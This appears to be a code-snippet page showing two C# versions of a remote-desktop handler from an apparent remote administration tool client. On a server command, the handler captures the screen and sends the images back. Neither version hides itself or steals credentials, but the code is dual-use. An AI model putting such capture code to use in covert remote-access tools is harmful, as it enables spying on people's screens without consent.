Exemplo n.º 1
0
        public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
        {
            if (lastDesktopScreenshot == null)
            {
                lastDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number);

                byte[] desktop = Helper.Helper.CImgToByte(lastDesktopScreenshot, System.Drawing.Imaging.ImageFormat.Jpeg);

                new Packets.ClientPackets.DesktopResponse(desktop).Execute(client);

                desktop = null;
            }
            else
            {
                Bitmap currentDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number);

                Bitmap changesScreenshot = Helper.Helper.GetDiffDesktop(lastDesktopScreenshot, currentDesktopScreenshot);

                lastDesktopScreenshot = currentDesktopScreenshot;

                byte[] desktop = Helper.Helper.CImgToByte(changesScreenshot, System.Drawing.Imaging.ImageFormat.Png);

                new Packets.ClientPackets.DesktopResponse(desktop).Execute(client);

                desktop                  = null;
                changesScreenshot        = null;
                currentDesktopScreenshot = null;
            }
        }
Exemplo n.º 2
0
        public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
        {
            if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor)
            {
                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);
            }

            LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Monitor);
            BitmapData bmpdata = LastDesktopScreenshot.LockBits(
                new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite,
                LastDesktopScreenshot.PixelFormat);

            using (MemoryStream stream = new MemoryStream())
            {
                try
                {
                    StreamCodec.CodeImage(bmpdata.Scan0,
                                          new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
                                          new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat,
                                          stream);
                    new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
                }
                catch
                {
                    new Packets.ClientPackets.DesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
                    StreamCodec = null;
                }
            }

            LastDesktopScreenshot.UnlockBits(bmpdata);
            LastDesktopScreenshot.Dispose();
        }